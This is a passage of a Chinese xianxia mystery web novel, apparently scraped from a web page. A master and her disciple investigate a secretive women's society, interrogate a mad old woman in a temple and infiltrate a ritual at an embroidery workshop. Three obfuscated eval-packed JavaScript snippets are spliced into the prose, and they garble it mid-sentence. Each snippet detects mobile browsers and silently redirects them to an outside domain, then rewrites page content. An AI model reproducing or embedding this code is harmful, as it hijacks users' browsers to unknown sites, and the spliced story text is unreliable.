张不疑深知谢羲和爱多管闲事的性子,道:“我还另有要事,就不同你们一道了。‘笑般若’那边若有消息,我再通知你们。” 谢羲和应了声“好”。 陶云倦睫羽微垂,低声提醒道:“师父,眼下当以寻找钟离昧的下落为重。” 谢羲和知他是担心她,不由会心一笑,摇头道:“既然遇上了,便没有不管的道理。” 晨光微熹,目光渐远,谢羲和望着逐渐亮起了的天光:“何况,若真是钟离昧自己不愿现身,纵使寻遍千山也是徒劳。不如以静制动,且看幕后之人下一步要如何落子。” 4. 秋坟鬼唱吊香魂2 群松的缝隙间洒落点点光亮,山中雾气尚未散尽,王秀朝他们遥遥一拜渐渐隐去。 三人兵分两路,谢羲和和陶云倦一路疾行,抵达四屏郡时,天色已明。 朝阳的金辉洒在青石铺就的街道上。叫卖声、讨价还价声、食肆里锅碗瓢盆的叮当声交织成一片,热闹非凡。城门口,刚出笼的包子蒸腾着白气,锅里的水“咕噜咕噜”冒着泡,大勺往锅里一捞,一碗热气腾腾的馄饨便做好了。 两张木椅,一张方桌,谢羲和和陶云倦相继落座。 陶云倦迟疑道:“师父与离徽君分道而行,可是对他存有疑虑?” 这小子还算敏锐。谢羲和对张不疑是有所怀疑,但并非是因为他有能力杀死自己,而是他不应该出现在河掖附近。 钟离昧的座上宾本该有张不疑,但他爽约了,若是他就在附近,抽空来一趟不算难事,除非有什么更重要的事绊住了他。而这一件事,钟离昧是知道的。 谢羲和道:“何以见得?你应当知道他与我渊源极深。” “正因渊源深,才更知深浅。”陶云倦道:“天下能伤你的人不过几人,而离徽君恰好是师父最不会设防的人之一。” 茶汤在杯中晃出细碎的光,谢羲和道:“是呀,碰巧给他传信的钟离昧没了消息,碰巧他就在附近能及时赶到,好像是很值得怀疑呢。” 陶云倦道:“这样说来……师父身边能全然信任的,岂非只剩我一人?” 谢羲和笑道:“怎么?难道你不值得为师信任?” 陶云倦眼中不见夙夜未眠的疲惫,反而神采奕奕,声音中裹着些许软意:“我是高兴,师父,你可以完全——” 话还未说完,只听一个老妇尖利刺耳的声音穿透喧闹的人群:“——天杀的!黑心烂肝的腌臜货!欺负我老婆子不成?明明给足了数!” 一道粗犷的男声立刻吼回来,中气足得震得连桌上的茶水都颤了颤:“放你娘的屁!少两文就是少两文!一大把年纪还学人做贼,老脸臊不臊!” “谁做贼?谁做贼!你才做贼!”那老妇捶胸顿足,哭嚎得抑扬顿挫,“我孙子等着吃肉长身体,我犯得着贪你这点黑心肉?街坊们都来看看啊!这杀才讹人啦!” 陶云倦话卡在喉咙里,循声望去,等再回过头时发现谢羲和已换了一个位置坐下,正支着腮,一脸兴致勃勃地往那争执处瞧。 陶云倦:“……“ 旁边的客人也在看,他早已见怪不怪,和同桌的妇人说道:“瞧见没,又是那张婆子,隔几个天就来这么一出,就为那二两肉。” 只见那肉摊已被围得水泄不通,围观的人群里三层外三层,指指点点,议论纷纷,有面露同情啧啧有声的,也有撇嘴摇头明显不信的,乱哄哄一团。 那老妇见无人帮腔,调门一转,立刻哀切起来:“……是老婆子我糊涂了,我老眼昏花数错了……我孤苦无依,就指着这点子小钱……那孩子、孩子真是馋肉馋得哭了啊……我、我过后一定补上,一定补……”涕泪横流,瞧着倒有几分可怜。 那肉摊老板举着杀猪刀,气得满脸横肉直抖,眼看就要动手推搡。 “哎,老板,差多少?我替这位婆婆付了吧。”一道温润如玉的声音恰时插了进来,众人听着不自觉安静了几分,只觉得如沐春风。 只见一位锦衣公子从人群中挤了过来,身形略显单薄,一副文弱书生的模样。他略显吃力地拨开身前人流,连声道:“借过,劳驾,多谢。” 好不容易挤到摊前,那公子微微喘了口气,含笑回头道:“阿潋,钱。” 众人这才发现,原来这锦衣公子身后还跟着一个黑衣侍从,只不过这佩刀的冷面侍从既不呵斥开道,也不伸手护持,只跟在那公子半步之外,像是不相干的两路人。 这唤作阿潋的侍从抱着双臂,目光自那婆子身上随意一扫,嘴角噙着一丝讥笑,捻了一小块碎银,指尖一弹,那银子便划出一道弧线,落在那锦衣公子手中。 “应是够了吧?”锦衣公子将银子轻轻放在案上,语气温和。 那老妇止了声,浑浊的目光在那锦衣公子和碎银上飞快转动。下一瞬,她猛地暴起,一把抢过案上的肉,将自己手中的两枚铜板狠狠砸向壮汉,朝那锦衣公子啐了一口:“呸!我有钱!谁要你多事!”然后如脚底抹油般,往人缝里一钻,眨眼间消失地无影无踪。 众人对这发展皆是一愣,那锦衣公子似乎没料到这般结局,一时怔在原地,脸上红白交错。那肉摊摊主最先反应过来,冲着老妇消失的方向跳脚大骂:“银子!我的银子!这该死的老虔婆!” 人群散去,那摊主骂归骂,到底弯腰捡起了铜钱,总算是没血本无归。 那锦衣公子耷拉着脑袋,步履有些沉重,半步之外跟着那黑衣侍从,脚步轻快。两人一前一后,径直走过馄饨铺子,看方向是往城外去了。 “也不知道哪里来的傻小子,”馄炖摊老板将馄饨往桌上一放,嗤笑道:“那张婆子的儿子早受不了她走了,都多少年没见影儿了,哪来的孙子?钱指不定又攒着给她那几条‘乖孙’买零嘴呢!” 谢羲和原本懒懒靠着桌沿,一听这话顿时直起身:“乖孙?” “就是西街口那群流浪狗呗!”旁边的客人扭过头,撇着嘴插话,满脸鄙夷:“她自个儿饭都吃不周全,倒把那群野狗当祖宗伺候,真是疯魔了!” 老板一边擦手一边唏嘘:“早些年张婆子在绣坊里也是个能闹腾的,一个妇道人家,非要强出头,带着一群绣娘嚷嚷着涨工钱。”一边说,一边摇摇头,“风光过一阵,后来……怕是没落着好,人一下子垮了,脑子也糊涂了,宁可跟野狗混一块儿……唉,说到底,也是个可怜人。” 谢羲和听老板提及绣坊,心思微动,顺势问道:“听闻四屏郡以水绣出名,绣娘众多,此番动荡,想必牵连甚广?” 老板道:“可不是嘛!好些个铺子关了张,没了生计的绣娘只能另寻活计。我好像听人提过,说不少绣娘投了个什么教派,里头管吃管住,还教人本事。” 谢羲和故作惊讶道:“竟然还有这样好的去处?” “什么好去处!”老板嗓门陡然拔高,说得唾沫横飞,“要我说,就是些女人家聚在一起神神叨叨的?饭不好好做,娃不好生带,整天往外跑,偏学男人认字算数,像什么话……隔壁老孙家的媳妇,入了那会,人是精神了,嘴也厉害了,可眼神有时候直勾勾的,叫她三声都听不见,怪瘆人的......还有人说,夜里见过金兰绣坊那边有绿油油的鬼火飘进去,哪家正经集会搞这些名堂?要我说,就是些女人家聚在一起神神叨叨,中了邪了!”他说得正兴起,突然想起面前这个看起来气度不凡的人也是女子,心里一怵,后面的话硬生生咽了回去。 陶云倦玩笑道:“听掌柜的这么说,倒让我好奇了,那些入了会的妇人,莫非识了几个字,算了几个数,心思一活络,就连自家夫君都敢看不上了?” “呃……这、这话小的可不敢乱说。”老板搓了搓手,眼神飘忽,讪讪道,“客官您慢用,再不吃,这馄饨可就要糊了。” 旁边那客人一直竖着耳朵听他们讲话,突然想到什么似的,囫囵咽下嘴里的馄饨,用胳膊肘撞了撞身旁一直默默吃馄饨的妇人:“哎,说起来……你弟弟那个媳妇,不就是加入了那什么同心会之后,心思越来越大,最近还在闹和离吗?” 那妇人被自己的丈夫在大庭广众之下宣扬了家丑,霎时满脸通红,拽着丈夫的袖子急道:“郎君快别说了……少嚼些舌根吧!” 那男子嘴上还不服气,嘟囔着“本来就是嘛,还不让人说……”,但终究是被那满面羞惭、几乎要钻到桌下去的妇人死死拽着胳膊,拉着起身,匆匆付了钱,几乎是逃也似的离开了。 谢羲和与陶云倦对视一眼,心照不宣。陶云倦将几枚铜板放在桌上,两人旋即起身,不动声色地跟了上去。 那对夫妻一路拉扯扯扯,拐进了西街一条窄巷。 巷口蜷缩着一只瘦骨嶙峋的杂毛野狗,那男子路过时朝它踢了一块碎石,叫骂了两句。那野狗呜咽着窜到不远处的老槐树下,回头警惕地盯着尾随其后的谢羲和与陶云倦。 夫妇二人进了一座低矮的院落,几朵猩红如血的石榴花探出墙头,在风中微微颤动。木门在他们身后合上,隔绝了门外窥探的目光。 不远处几个摇扇纳凉的老汉,正闲话家常,目光不由自主地被出现在这巷子里的一男一女吸引过去——这般气度的人物,在这市井弄巷里扎眼得很。 女子头戴青玉莲冠,腰束同色长缨,缨带下垂着一组环佩。嘴角含笑,行步之间,广袖飘举,本应玉鸣清响,却寂然无声。一身月白鹤氅随风舒卷,内衬青碧襦裙,若流风回雪,渺若云烟。她浑不似尘世中人,倒似洛水之神,姑射之仙,偶涉人间。 她身侧的少年却是截然不同。一身鸦青劲装,长剑悬于腰侧,腰间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406275|184480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两枚小银铃随风微动,竟也没有半点声响。他下颌微扬,顾盼间自带一股浑然天成的骄气,像柄才出鞘的剑,寒光乍现,灼目难当。步履飒沓,脸上带着漫不经心的笑,仿佛人间万事,皆不足令他收敛一二,低眉垂目。 谢羲和一看那几个老汉的神情,心中暗道失策。陶云倦除下孝服后不算惹眼,可自己这一身也不知是他从哪里找来的华服,坐下时还好,行走于市井中实在过于招摇。若是打草惊蛇就不美了。 她当即敛袖转身,低声道:“退。” 两人在西街附近寻了间客栈,谢羲和换了身寻常些的衣服,二人分头行事,各自打探消息,直至夜幕低垂,方才回到客栈再次会合。 门“吱呀”一声被推开,房中烛火轻摇,陶云倦带着一身夜风走了进来。他随手将宵练搁在桌上,仰头灌了几口凉茶,这才长长舒了口气。 “师父,赵家那对姑嫂还挺有意思,”他抹了把嘴角,眼睛亮晶晶的,“小姑子赵舒娘,人人都夸她脾性温和、心地善良。弟媳陈阿彩泼辣得像根朝天椒,平日里那张嘴不知道得罪了多少人。” 陶云倦语速稍缓:“可偏偏这性情天差地别的两人,看似处处不同,骨子里却投契得很。如今陈阿彩闹和离,整个赵家鸡飞狗跳的,反倒是出嫁多年的赵舒娘还时常去看她。” 说到这里,陶云倦语气带了些嘲弄,道:“陈阿彩过门不过两年,平日跟这位姑子也不常见,能这样亲近,实在难得。” “这正是蹊跷之处。”谢羲和的身影沐浴在月色里,“照常理,出嫁的姑子总该多帮娘家说话。可赵舒娘不一样,她非但没有劝和,反倒像是站在陈阿彩那边。” 谢羲和思忖道:“若说她深知自己弟弟赵喜游手好闲、不成器,而陈阿彩虽说脾气躁,却是绣坊一把好手,赵家如今靠她勉力撑着,这么看,赵舒娘通情达理并不责怪她,倒也说得通。” 她指尖轻叩窗棂:“怪就怪在,陈阿彩如今铁了心要和离,连自己爹娘以断绝关系相逼都不理会,却唯独还肯见赵舒娘。这两人之间的关系,恐怕远不像表面看上去那么简单。” “其实不止她二人。”陶云倦走到谢羲和身旁,“我暗中查访时,男人个个振振有词,不是说陈阿彩不守妇道,就是讥笑赵喜没用、压不住老婆。” 他稍作停顿:“可女子一听此事,却大多讳莫如深、眼神闪躲……尤其是我旁敲侧击提到同心会的时候,要么匆匆岔开话头,要么干脆寻个借口走开,倒像是生怕被人看穿了什么。” “有意思。”谢羲和微微一笑,“同心会同心会,难不成……真能叫人同心同德?也不知结的是什么缘,聚的又是什么心呢?” 忽然,谢羲和不笑了。 她平日里总是带着三分笑的,笑意柔化了她眉眼间天生的清冷与锋棱,此刻笑容一收,冷意便透了出来,无端教人感到冷漠与疏离。 陶云倦顺着她的目光看过去,只见客栈不远处,莹莹绿光恰似鬼火,无声无息地悬浮于夜色之中。 一群野狗不知何时悄然聚集,它们并未吠叫,只是静静地望着客栈的方向,仿佛与黑夜融为一体。 陶云倦迟疑道:“说起这些狗……师父,我回来时撞见那张婆子了。还真和那馄饨摊主说的一样,寻常百姓自己都舍不得吃的肉,她居然就拿来熬肉汤分给狗吃,对狗说话时温情脉脉,一口一个‘好孩子’,可一转脸看见了人,嘴里就不干净,疯疯癫癫地骂街。” 想到张婆子那些不堪入耳的胡言乱语,陶云倦“啧”了一声:“嘀嘀咕咕骂了好多人,路人都说她疯惯了,天王老子来了都照骂不误,骂以前绣坊的人说她们害人、骂街上的贩子说他们黑心,没人当真就是了。” 谢羲和若有所思,道:“她能指名道姓地骂,还算是真的疯吗?” 陶云倦道:“师父的意思是,她这疯话里,或许还藏着些真东西?” 谢羲和神色难辨,道:“还记得王秀说过的话吗?王香第一次离家去四屏郡,正是因为绣坊罢工。同心会最初收留的,也大都是绣娘。这张婆子既然是绣坊罢工的牵头人,如今又口口声声说绣坊的人害人……她与那位孟会长之间,说不定有什么关联也说不准。” 陶云倦赞同道:“如果她真与同心会有关,装疯卖傻或许正是为了自保,毕竟没人会真的跟一个疯子计较。” 谢羲和还看着槐树下那群狗:“真疯也好,装疯也罢,明日试她一试不就知道了。” 5. 秋坟鬼唱吊香魂3 次日清晨,谢羲和独坐在客栈临街的位置,十丈红尘内,街市喧嚣,一盏清茶摆在她面前,叶尖倒立,在澄黄透亮的汤水中载沉载浮,翠影摇曳间,宛若云雾缭绕间若隐若现的青山。 谢羲和觉得有趣,正静观杯中小景,楼梯处传来轻微的响动,她抬眼看去,陶云倦正慢吞吞走下楼来,眼中还带些困意。 他见谢羲和已端坐楼下,霎时清醒了几分,当下几步并作一步,跳下最后几级台阶,衣摆拂动间已在谢羲和对面做好,不等她开口,先掩面打了个大大的哈欠。 跑堂的伙计端着两碗清粥并几碟小菜,麻利地放在谢羲和与陶云倦面前。 谢羲和看着他眼睛眼下的乌青,道:“陈阿彩的线不能断,云倦,这几日你都没能睡个好觉,今天你轻松些,去看着陈阿彩,我去会一会那张婆子。” “不要。我不累。”陶云倦拒绝地理直气壮,带着点狡黠笑意,“陈阿彩那边师父也不必担心,我昨日回来时就顺手打点好了。那几个小乞儿得了我的银钱自会上心,保准把赵家进出的人都盯得明明白白。” 谢羲和笑道:“好。既然如此,你便和我一起吧。” 陶云倦道:“那师父且坐坐,我去打听这张婆子平日里都在哪里混。” 谢羲和道:“不必,我已问清了,她应是在附近的城隍庙。” 张婆子以疯癫的形象出现时,就在西街口的城隍庙。她整日赖着不走,偷吃供品,夜宿神台,弄得庙里又脏又乱,浑似个庙里的活秽神。附近的人既嫌她丑恶,又怕沾了晦气,几次三番想撵,谁知这老疯婆睚眦必报,谁撵她,她就暗地里找谁捣乱报复。 众人一琢磨:既然赶也赶不走,何必还去供养她?进献给城隍爷的东西反倒便宜了她,拜个神还惹一身衰。晦气!这么一来,庙里香火一断,人迹尽绝,倒反倒成全了张婆子。一间不大的破庙,清清静静,真成了她和野狗的“福地洞天”。 “既然没了人上供,那张婆子又是哪儿来的钱呢?”陶云倦问,然后自顾自地答了:“想必是把西街的城隍庙当‘巢’,从其他地方的城隍庙继续之前的行当也未可知。” 谢羲和不置可否:“到了,先看看再说吧。” 话音刚落,两人同时收住脚步,闪身于暗处。平缓的脚步声近了,不多时便见张婆子揣着个破碗,眼神闪烁,活像只灰毛老鼠般从庙里钻了出来。她先是警惕地四下张望,确认无人注意,这才佝偻着身子混入街市。 张婆子果然先去附近的城隍庙里饱了肚子,之后就开始漫无目的地四处晃荡,东一钻,西一瞅。这家墙角有个狗洞她趴着身子看看,那边门口挂着灯笼她拿石头砸一砸,砸完哈哈大笑,转身就跑,活像个巡街的山大王。 她时而停在摊前直勾勾地盯着食物,时而突然伸手乱抓、或是朝货物咳嗽。若是惹来摊主呵斥驱赶,她便就地躺倒,哭嚎撒泼,等无人理会,又悻悻地爬起来,继续游荡。 早市散去,她便去捡拾些别人丢弃的烂菜叶,和其他乞儿抢掉在地上的肉屑,小心翼翼地包好。 正午时分,她揣着那点残羹剩饭,哼着古里古怪的调子,蹒跚踉跄地往城隍庙走,巷中匆匆迎面走来一个人,此人正是昨日遇见过的赵舒娘。 狭路相逢,张婆子一见赵舒娘,“哎哟”一声直接横躺在地,将去路堵了个严严实实,她挥舞着枯瘦的手臂,嘶声道:“呸!丧门星!黑心肝的……不得好死……哈哈……我乃大罗金仙下凡,专收你们这些祸世妖孽!还不速速现出原形!哈哈哈!” 赵舒娘被她这癫狂之态吓得脸色发白,忙从怀中摸出几枚铜板丢过去。张婆子见了铜板儿,这才骂咧咧地向旁边挪出些许空隙。赵舒娘几乎是紧贴着墙根,埋着头小跑而过,犹如被恶鬼追撵一般,飞快地消失在小巷尽头。 张婆子目光阴毒,朝着赵舒娘的背影啐了一口,这才往城隍庙去。 城隍庙内只有一线光亮从门口透进去,蛛网密布,神像的金漆早已剥落,露出灰黑的泥胎。供桌上空空如也,显然久无香火。 只见那张婆子鬼鬼祟祟地钻到了供桌底下,窸窸窣窣地不知在做什么。一旁,杂毛狗安静地趴在一旁守着,耳朵时不时抖动一下。 谢羲和指尖微弹,一粒小石子击中墙角,发出“嗒”的一声轻响。 “谁?!”张婆子惊惶失措地从供桌下探出头,手里还抓着一件正在缝补的旧衣。见到庙外并无异动,只有她的“乖孙”警惕地竖着耳朵,她松了口气,又缩了回去,嘴里嘟囔着:“吓死老娘了……天杀的……” 谢羲和与陶云倦皆是耳聪目明之人,张婆子说的话自然听得一清二楚。 谢羲和道:“这张婆子装疯卖傻不是一日两日了,若不吓吓她,只怕嘴里吐不出真话。” 陶云倦手腕一翻,将长剑背在身后,笑道:“师父说过,行走江湖要懂得变通,如今……师父手中无剑,不如这次换一换,我唱黑脸,你唱个白脸?” 谢羲和见他一副跃跃欲试,准备演一出大戏的模样,慢悠悠道:“你唱黑脸?行啊。不过……”她目光落在宵练剑上,“宵练渊清玉絜,一看便是名门正派的兵器,只怕吓不倒她,反让她觉得是哪家少侠来行侠仗义,愈发要装疯卖傻,纠缠不清。” 谢羲和说的并非没有道理。她的佩剑寤生,是阴阳两仪之剑,幽光流转,寒意森然,故而从前谢羲和扮黑脸时,光是一亮剑,就能唬住一些人。陶云倦挑眉:“那依师父之见?” “扮黑脸,重要的是气势,而不在于剑。”谢羲和道:“至于宵练,我先替你拿着,在外头替你压阵。待你唱完黑脸,我再来唱白脸哄她一哄,软硬兼施,岂不更好?” 陶云倦当然没有完全信她的鬼话,不过他倒是同意“做坏人,最重要的就是气场”这一点。于是他将宵练交给谢羲和,调整好表情,朝庙门走去。 谢羲和唇角弯了弯。宵练剑既到手,这戏怎么唱,可就由她说了算咯。 张婆子收了针,将线咬断,觉得腰酸,就要钻出去。忽然觉得眼前一暗,一双粉底皂靴立在了跟前。再往上看,竟是个面皮白皙的俊俏少年郎。 他生得精致,眉目含骄,明明是个富贵公子哥的模样,眉宇间的狠戾却明晃晃写着“你活腻了吗?”五个大字。 张婆子不识字,只觉得他像话本里的山精野怪是来挖人心的。一股寒意窜上张婆子的脊背,违和感扑面而来。 张婆子被吓得“嗷”一嗓子,手里的针线都掉了。“鬼!鬼啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406276|184480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !山魈来索命啦!”她手脚并用地往后缩,想钻回供桌底下。 “索命?”陶云倦恶声恶气道:“你这般疯疯癫癫,也配我亲自来拿?” 张婆子浑身猛地一颤,竟趁人不备,爬起来就往门口冲,才至门槛,一柄寒剑倏然出鞘,冷冰冰地横在她的脖颈前——再往前一寸,便是血溅当场! 她双腿一软,顿时瘫坐在地,两手死死抱住脑袋朝后缩,嘴里颠三倒四念叨着:“该死、都该死……姓孟的毒妇,别得意太早……迟早要遭报应的……哈哈哈哈……谁都逃不过!” 谢羲和一步步踱近张婆子,眼神睥睨,目光如刀,最终在张婆子面前屈膝蹲下,身后的影子被斜照进庙中的阳光拉得修长。 在她身后,手中持剑的城隍爷竟然变得栩栩如生、不怒自威。张婆子心惊胆颤,只听面前的“女杀神”问道:“张婆子,你既然还记得孟会长,可还记得同心会?” “同心会?什么同心会?无生老母、幽冥血海……都是邪魔外道!别找我!我不知道!”张婆子把头摇得像拨浪鼓,死死抱住自己,语无伦次地嘶嚷,“都是吃人的!孟夕那黑心肝……心肝挂起来晾成干!红灯笼照不见鬼……照不见!照不见啊啊!” 杂毛狗本被吓得趴在一旁瑟瑟发抖,见张婆子哭泣,竟不知哪儿来的勇气冲向谢羲和,无需谢羲和出手,陶云倦擒住那狗的后颈往墙角一丢,那狗哀嚎一声,撞在墙上跌落在地。 谢羲和“呵呵”笑了两声,叱道:“若你执意包庇恶人,吾便以她偿命!” 四周的阴影中似乎有活物蠕动,它们涌向那只杂毛狗,瞬间封住了杂毛狗的所有去路。 “不要!”张婆子涕泗横流,猛地磕头,语无伦次地哭喊:“鬼娘娘饶命!那些个没心肝的都挂着同心扣呢!可别抓错了老婆子来抵命!绣坊……绣坊挂红灯笼,织女娘娘开大会!她们吃供品,分肉吃!吃了肉,魂儿就飘走了,人也就埋地里了!假的,都是假的!心都挖空了,空的!哈哈哈!报应,都是报应!” 她一边连滚带爬地冲出庙门,一边疯疯癫癫地嘶喊:“鬼来了!索命了!吃心了!”她连滚带爬地冲出庙门,还不忘抱着那只吓得昏死过去的狗。 谢羲和挥挥手,阴影如潮水般退去,神像又恢复了斑驳沉寂的泥塑模样。 陶云倦道:“师父,说好了你扮白脸呢?怎么又抢了我的戏份?” 谢羲和想起陶云倦的扮凶的表情,忍着笑,将宵练往陶云倦怀里一扔:“谁说白脸就一定要慈眉善目?为师这般‘以黑吃黑’,让她以为你身后还站着更凶的主子,这出戏岂不唱得更有意思?我这分明是在给你抬轿,你倒不领情。” 陶云倦接住剑,也不接她的茬,只问:“不追了?” 谢羲和也不知道让让他,他好不容易如愿当了一次黑脸,可他黑,谢羲和更黑,这恶人当得像个在前头虚张声势的纸老虎,憋屈得很。 谢羲和笑道:“不追了,张婆子不是已经把怎么混进同心会的方法告诉我们了吗?” 陶云倦略一思忖就明白了她的意思:“孟夕便是那孟会长,同心扣、绣坊的红灯笼、两日后……莫不是在说,两日后,取得同心扣,寻挂红灯笼的绣坊,就能找到同心会了?” 6. 别相恶群魔乱舞1 两日后。夏雨晚来急,来得快去得也快。 金兰绣坊檐下悬着的两盏红彤彤的灯笼,在风中被推搡得摇摆不定,昏昏沉沉的光影便也跟着在青石板上淌,直到两道影子落下遮住了亮光。 陶云倦收了伞,语气古怪:“师父,当真要如此吗?” 谢羲和忍着笑,严肃道:“好徒儿,非如此不可。” 陶云倦挣扎道:“可是你明明说过,在凡间须行人间事,不可轻易对凡人使用术法,仙法破外力却难破人心,这不算违戒吗?” 谢羲和道:“可是你是守仙宫登记在册的修士,并非普通凡人啊。” 守仙宫,是独立于西陵太素宫、永州迦蓝寺、绛州不夜城、云门镇灵山四大仙门以外的仙域,维系修行者与凡人之间的秩序,但凡修行者都需在守仙宫登记,充当着修仙界官府的角色。 陶云倦沉默,西陵太素宫闭门谢客百余年,门庭冷落。他是谢羲和破例收下的关门弟子,名册上名字醒目,想否认也难,而作为这一代的独苗,强行否认良心会痛,因此他无话可说。 同心会只收女子,二人可没功夫一步步从外围做起,慢慢被招进会里,如今得了消息,便在半路截下两个姗姗来迟、腰间带有同心扣女子,打晕了绑在了客栈里。 陶云倦被谢羲和施法化为“钱娘子”,自己摇身一变成了“魏娘子”,笑吟吟地连连唤了几声“钱妹妹”,陶云倦听得脸色发僵,她自己倒是笑得乐不可支。 陶云倦道:“师父,钱家娘子是姐姐,如今你应该叫我姐姐才对。”谢羲和只当没听见。 此刻,“钱娘子”如壮士断腕,上前叩响了绣坊的门。 不一会儿,门开了,门缝里探出一个少女的脑袋,她先瞥了瞥二人腰间的同心扣,又从身后取出一份名单对了对,这才笑道:“啊,是魏家姐姐和钱家姐姐,快请进。” 两人被少女领着,绕过曲折的回廊。回廊旁的园子似乎正在翻土准备种新的花卉,也不知用的什么肥,味道难闻极了。带路的少女明显走得更快了些,东拐西拐,总算到了正堂。 堂内烛火通明,空气中却浮荡着一股廉价的脂粉香气,混杂着雨天特有的潮意,形成一种又闷又浊的气息。 粗略一看,屋里已经坐了二十多个女子,年龄不一,衣着各异,神情迥然。 大多数神情热切,带着一种找到归属的期盼,但也有几个女娘,面色透着一种过分的苍白,眼神略显空洞,安静地坐在角落,对周遭的热闹似乎反应迟钝。她们的手规整地放在膝上,指节却显得有些不自然的蜷缩着。 堂前摆着一张案机,案机上有一个香炉,香炉里插着三柱线香,青烟袅袅,衬得上方的织女娘娘像仙气飘飘。织女梳高髻,着素雅宫装,手中持针,丝线垂落,绣不是丝帕而是市井百态。她面容端庄,眸中若有慈悲。 谢羲和与陶云倦被引到空蒲团前坐下。 谢羲和心下诧异:“奇怪,这画上的人,怎么看着这么眼熟呢?” 不等她细想,大堂的门被关上了,侧门开了,一名覆着面纱、身着深色道服的女子缓步走出,跟在她身后的还有两人。 这可真是巧了!这二位不正是赵舒娘和她那弟媳陈阿彩吗?怎么之前在路口蹲守的时候也没见着她们过来?谢羲和暗自揣度道:“难道是在截人那段时间来的?还是这其中另有门道?” 进门后,赵舒娘和陈阿彩跪在了最前面的两个蒲团上,这好像一个信号似的,堂内的女子都安静下来,接连跪了下去。 谢羲和没动,陶云倦也没动。 陶云倦挑眉冷声道:“师父,她们何德何能,也配受你一拜?不如我替师父掀了这台子?” 谢羲和知道陶云倦心里傲气,这小子自己不愿跪他自己瞧不上的凡俗之物,这是在拿她作伐子呢! 谢羲和笑了笑,握住他的肩膀,一股巧劲轻送,陶云倦只觉膝下一软,便不受控地朝她直挺挺地跪了下去。 陶云倦猛地抬头,满脸惊愕,却见谢羲和自己也撩袍跪下,道:“你既心无敬意,跪一跪又何妨?要是自己先怄气,倒是给她捧上去了。” 陶云倦苦恼道:“可是师父,你也不能拜我呀,这可真是折煞我了。” 他们来得晚,被安排在靠后的角落里,这位置很是巧妙,朝织女跪拜时二人身形错开,若再偏差几分,隐约有几分对面相叩的意思。 谢羲和毫不在意:“怕什么,反正你我也算不上是正经师徒。” 陶云倦一怔。世人只道晋阳侯府的二公子天生聪颖,根骨奇佳,是万里挑一的修炼奇才,这才让谢元君破格收他为徒。但知道其中内情的,有谁不说一声“荒唐”? 在晋阳侯府双生子的百日宴上,陶云倦在满堂宾客手中都是笑呵呵的,偏生一到谢羲和手里就哭得震天响,谢羲和忙把他还给主家,却没想到陶云倦紧抓着她的衣袖不放,哭得更大声了。 众目睽睽之下,谢羲和自觉折了面子,硬着头皮说:“此子与我有仙缘。”一句戏言,竟成定数。等陶云倦到了外傅之年,便被家人打包送到谢羲和门前。 可谢羲和哪里是会好好带孩子的人? 她故意欺负他想惹他哭,但陶云倦也不是好惹的主,谢羲和一个不知年岁的大人与他一个孩子,闹得西陵山上的雪都不知道崩了几回。 除了三餐饮食,谢羲和也不怎么在生活上照顾他;君子六艺、修道练心她也从来不给他优待。刚上山的前两年,他几乎每日下习倒床就睡。 他知道,谢羲和就是想让他主动提出要回家,但她失算了,陶云倦对于和谢羲和斗智斗勇这件事上,一向是乐在其中的。 于是,等陶云倦再大一些,谢羲和更是想甩也甩不掉了。 在陶云倦心里,比起师父这个身份,谢羲和其实更像是他在晋阳侯府时求而未得的玩伴。她像能抱满怀的山巅明月,也如剑上寒光。她是传道授业的长辈,是尘世同行的知己,更是最最默契、最最好的玩伴。 陶云倦心思微动,跪在蒲团上悄悄凑近半步,自己都未来得及深思的调侃道:“师父,你说我们这像不像是夫妻对拜?” 说罢,他猛地顿住。“夫妻对拜”四个字在舌尖滚了一圈,他被自己这荒唐话惊得心头一跳,耳根瞬间烧了起来。 谢羲和正想着那织女画像,随口道:“像,实在是太像了。这织女娘娘像,怎么越看越像卫锁灵呢?” 陶云倦听到前半句提起的心,在听见后半句时,毫不意外地落了下去:“……” 谢羲和瞥了他一眼,忽觉不对:“没大没小,这般浑话也敢说,讨打不成?什么夫妻对拜,义结金兰还差不多。” 陶云倦被噎了一下,飞快地转移话题:“师父,这卫锁灵可是你常提的那一位‘万分’有钱的朋友?” 谢羲和道:“除了‘天下第一楼’的主人,还能是谁?” 卫锁灵亦是此次钟离昧座上客之一。她常年坐镇绛州不夜城,所经营的“天下第一楼”绝非虚称,而是名副其实。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406277|184480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 众所周知,四大仙门之中,西陵太素宫已闭门谢客数百载,踪迹缥缈,难寻其径;永州迦蓝四百八十寺,乃佛门清净修行之地,不染尘俗;云门镇灵山则非天资卓绝者不收,门下皆乃斩妖除魔之士;而绛州不夜城,却为世间至乐之地,其中的天下第一楼,更堪称此间极乐之巅。 